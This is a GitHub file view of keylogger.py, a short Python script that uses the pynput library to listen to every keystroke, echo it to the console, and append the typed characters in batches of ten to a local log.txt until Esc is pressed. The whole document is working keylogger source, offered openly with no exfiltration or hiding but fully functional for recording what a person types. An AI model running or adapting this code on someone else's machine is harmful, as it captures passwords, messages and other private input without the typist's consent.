-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.py
More file actions
36 lines (26 loc) · 731 Bytes
/
keylogger.py
File metadata and controls
36 lines (26 loc) · 731 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pynput.keyboard import Key,Listener
count = 0
keys = []
def on_press(key):
global count,keys
count += 1
print("{0} pressed".format(key))
keys.append(key)
if count >= 10:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open("log.txt" , "a" , encoding="utf-8") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)
def on_release(key):
if key == Key.esc:
print("exit")
return False
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()